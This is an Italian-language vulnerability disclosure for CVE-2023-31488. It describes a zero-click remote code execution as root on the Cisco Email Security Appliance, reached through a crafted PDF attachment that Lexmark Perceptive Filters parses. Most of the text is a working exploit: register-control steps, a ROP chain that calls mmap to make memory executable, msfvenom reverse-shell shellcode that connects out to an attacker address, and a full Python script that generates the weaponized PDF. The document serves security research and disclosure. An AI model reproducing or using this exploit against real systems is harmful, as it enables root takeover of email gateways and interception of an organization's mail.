
Cisco Email Security Appliance: Email a RCE zero-click come root - Esecuzione di codice remoto / Corruzione della memoria / Catena ROP
Ricercatore di sicurezza: ly1g3, ly1g3[at]tuta.io
Impronta GPG: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
Panoramica: Da email a RCE a zero click come root - Remote Code Execution/Memory Corruption/ROP-chain
CVE: CVE-2023-31488
Cronologia:
Durante il fuzzing del Cisco Email Security Appliance (ESA), ho scoperto una vulnerabilità in Lexmark Perceptive Filters, utilizzato dall'ESA per la sanificazione dei dati degli allegati email, che porta a RCE tramite email. Il crash si verifica durante l'analisi di un allegato PDF modificato. Alterando un ID di un oggetto PDF a due cifre, ad esempio:
Ad esempio:
13 0 obj
<</Subtype/CIDFontType2/FontDescriptor
Modificando parte dell'ID da 13 a qualcos'altro (come uno spazio) si ottiene:
1 0 obj
<</Subtype/CIDFontType2/FontDescriptor
Inviando questo PDF modificato in una email al Cisco ESA si causa un crash da segmentation fault in libISYSpdf6.so. Il crash è dovuto al fatto che r14 contiene dati ASCII.
Un'ispezione più attenta mostra che questi dati provengono dal contenuto dell'allegato PDF sotto il nostro controllo. Il valore di r14 è Rect.
Test modificando Rect in AAAA.
Poiché il valore di r14 viene caricato da dati nel PDF, possiamo modificarlo per puntare a un indirizzo di memoria valido. Dopo questa regolazione, si verifica un altro crash a causa di dati non validi in RAX. Anche questi dati sono ASCII dal PDF.
Modifichiamo il PDF in modo che anche rax punti a un indirizzo reale e proseguiamo.
Si verifica un nuovo crash; ora rsi contiene dati ASCII dal PDF.
Modifichiamo nuovamente il PDF per caricare un indirizzo di memoria reale.
Finalmente arriviamo a una parte di codice molto interessante. Dove controlliamo rdi, che viene utilizzato per caricare un valore in rax. L'istruzione finale in questa sequenza è call rax. Stiamo facendo buoni progressi verso l'ottenimento di capacità di esecuzione di codice.
Ancora una volta entriamo nell'editor esadecimale e modifichiamo il valore caricato in rdi.
Ora abbiamo un modo limitato di esecuzione del codice e possiamo saltare a un singolo indirizzo. Poiché ASLR non è presente, trovare indirizzi di memoria è facile. Controlliamo anche rdi e quindi utilizziamo il gadget ROP iniziale libISYSshared.so: push rdi; pop rsp; xor eax, per spostare rdi in rsp e controllare lo stack. Puntiamo lo stack a un'area che controlliamo nella regione di memoria del PDF con uno stack personalizzato preparato con più gadget ROP.
Un shellcode di reverse shell per FreeBSD generato da msfvenom viene inserito nella regione di memoria del PDF. Ma poiché la memoria non è eseguibile, dobbiamo prima renderla eseguibile.
shellcode = b'\x90'*100
buf = b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"
Poiché a questo punto controlliamo lo stack, questo può essere fatto con la seguente catena ROP per chiamare mmap e impostare la regione di memoria dello shellcode come RWX.
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret;
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret;
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret;
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret;
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret;
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp;
Dopo che mmap viene chiamato, call rsp; eseguirà il NOP-sled del nostro shellcode poiché l'indirizzo dello shellcode è il successivo nel nostro stack personalizzato. Lo shellcode è una reverse shell generata da msfvenom.
Una cosa interessante è che questo codice viene eseguito prima di qualsiasi scansione antivirus statica, quindi la reverse shell standard di metasploit funzionerà perfettamente.
Possiamo utilizzare il POC qui sotto per creare un PDF funzionante. Dopodiché lo inviamo semplicemente in una email all'ESA per ottenere RCE. Vedi le mie altre vulnerabilità per l'escalation dei privilegi.
E così otteniamo una shell remota sull'ESA:
Questo è stato un progetto divertente che mi ha insegnato molto sulle vulnerabilità di memory corruption. Mostra anche quanto sia buona la protezione "moderna" come ASLR, ma anche che si possono ancora trovare sistemi senza ASLR là fuori.
Attacco di overflow su ESA (Cisco Secure Email). Remote Code Execution come root.
Inviando un file PDF appositamente creato, un overflow consente a un attaccante di ottenere Remote Code Execution arbitrario sull'ESA e su altri prodotti che utilizzano Lexmark Perceptive Filters.
Questo attacco di overflow permette all'attaccante di ottenere il controllo su un'istruzione call rax, rendendo banale passare a esecuzione di codice arbitrario poiché sull'ESA non viene utilizzato ASLR. Il codice viene eseguito come root.
Il problema deriva dal parsing PDF nella libreria libISYSpdf6.so di Lexmark ed è causato da chiamate alla funzione IGR_Open_File_Ex. Questa funzione può essere ricondotta alle funzioni safeprint e image_analysis in AMP (Advanced Malware Protection), ma l'exploit potrebbe essere attivato anche tramite altri percorsi.
Subtype/CIDFontType2/FontDescriptor. Un esempio si trova qui https://github.com/ant4g0nist/fuzzing-pdfs-like-its-1990s/blob/main/pdfs/combo_box.pdf13 0 obj
<</Subtype/CIDFontType2/FontDescriptor
13 con un altro valore (come spazio) 1 ottenendo:1 0 obj
<</Subtype/CIDFontType2/FontDescriptor
libISYSpdf6.so// r14 è ora controllato dall'utente e punta a dati nel PDF
0x804d4ffc0 mov rax, QWORD PTR [r14+0x18]
// Chiamata con rax controllato, inizio della catena ROP
0x804d50298: call rax
import sys
from pwn import *
message = """Usage: python3 gen_esa_exploit.py template.pdf exp.pdf
For template file use: https://github.com/ant4g0nist/fuzzing-pdfs-like-its-1990s/blob/main/pdfs/combo_box.pdf
Change of pdf_data_base_address may be required.
ly1g3, ly1g3[at]tuta.io
"""
def insert_at_address(content, at_address, address, bytes_to_write):
addr = p64(address)
for i in range(bytes_to_write):
content.insert(at_address+i,addr[i])
def overwrite_at_address(content, at_address, address, bytes_to_write):
addr = p64(address)
for i in range(bytes_to_write):
index = at_address+i
content[index] = addr[i]
def overwrite_string_at_address(content, at_address, content_to_write):
for i in range(len(content_to_write)):
index = at_address+i
content[index] = content_to_write[i]
if len(sys.argv) < 3:
print(message)
sys.exit()
file_in = sys.argv[1]
file_out = sys.argv[2]
content = None
with open(file_in, "rb") as fi:
content = bytearray(fi.read())
pos1 = 0x1C41 # position of "13 0 obj"
content[pos1] = 0x20
pos2 = 0x278C # /Rect object pointed to by r14
content[pos2] = 0x00
# Remove /Font at rem_start to make space for full address
rem_start = 0x1CD2
rem_stop = 0x1CD5
chars_to_remove = rem_stop - rem_start
for i in range(chars_to_remove):
del content[rem_start]
# Remove GB1 to make space for address
rem_start = 0x1CB5
rem_stop = 0x1CB8
chars_to_remove = rem_stop - rem_start
for i in range(chars_to_remove):
del content[rem_start]
# Insert address for r14
# at 0x804e51fc0 mov rax, QWORD PTR [r14+0x18]
# Insert address to pdf data here
# Use pointer to 0xe0 offset in pdf works
pdf_data_base_address = 0x804c27384
address_pos = rem_start
insert_at_address(content, address_pos, pdf_data_base_address, 7)
# Random offset somewhere in the start of the pdf but not near the header
offset_in_pdf = 0xE0
#0x804e51fc0 mov rax, QWORD PTR [r14+0x18]
overwrite_at_address(content, offset_in_pdf+0x18, pdf_data_base_address,8)
#0x804e51fc4 add r13d, DWORD PTR [rax+0xa8]
overwrite_at_address(content, offset_in_pdf+0xa8, pdf_data_base_address,8)
# 0x804e08536 mov rax, QWORD PTR [rsi+0x28]
overwrite_at_address(content, offset_in_pdf, pdf_data_base_address,8)
# 0x804e52286 mov rax, QWORD PTR [rdi]
overwrite_at_address(content, offset_in_pdf+0x50, pdf_data_base_address+0x50,8)
libISYSshared_base = 0x802400000
rop1 = libISYSshared_base+0x000000000060d115 # [INFO] File: libISYSshared.so: push rdi; pop rsp; xor eax, eax; pop rbp; ret;
# 0x804e52289 mov rax, QWORD PTR [rax+0x18]
# This address will execute at
# 0x804e52298 call rax
overwrite_at_address(content, offset_in_pdf+0x50+0x18, rop1,8)
# 0x804e5228d mov esi, DWORD PTR [r12+0x10]
# This value will esi contain at call rax
overwrite_at_address(content, offset_in_pdf+0x10, 0x4242424242424242,8)
# $rdi will after this point to pdf_data_base_address can be used for rop chain
## ROP CHAIN
libISYSshared_base = 0x802400000
rop1 = libISYSshared_base+0x000000000060d115 # [INFO] File: libISYSshared.so: push rdi; pop rsp; xor eax, eax; pop rbp; ret;
rop2 = libISYSshared_base+0x000000000103e465 # [INFO] File: libISYSshared.so: ret 0xf0;
rop3 = libISYSshared_base+0x00000000008dc638 # [INFO] File: libISYSshared.so: ret;
first_rop=0x138
overwrite_at_address(content, first_rop, rop2,8)
second_rop=0x140
overwrite_at_address(content, second_rop, rop3,8)
stack=0x230
overwrite_at_address(content, stack, rop3,8)
rop_chain_start=0x238
from struct import pack
p = lambda x : pack('Q', x)
shellcode = b'\x90'*100
buf = b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"
IMAGE_BASE_0 = 0x804d29000 # libISYSpdf6.so
rebase_0 = lambda x : p(x + IMAGE_BASE_0)
IMAGE_BASE_1 = 0x802400000 # libISYSshared.so
rebase_1 = lambda x : p(x + IMAGE_BASE_1)
rop = b''
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret;
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret;
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret;
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret;
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret;
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp;
rop += buf
print(rop)
overwrite_string_at_address(content, rop_chain_start, rop)
# ROP Chain here
with open(file_out, "wb") as fo:
fo.write(content)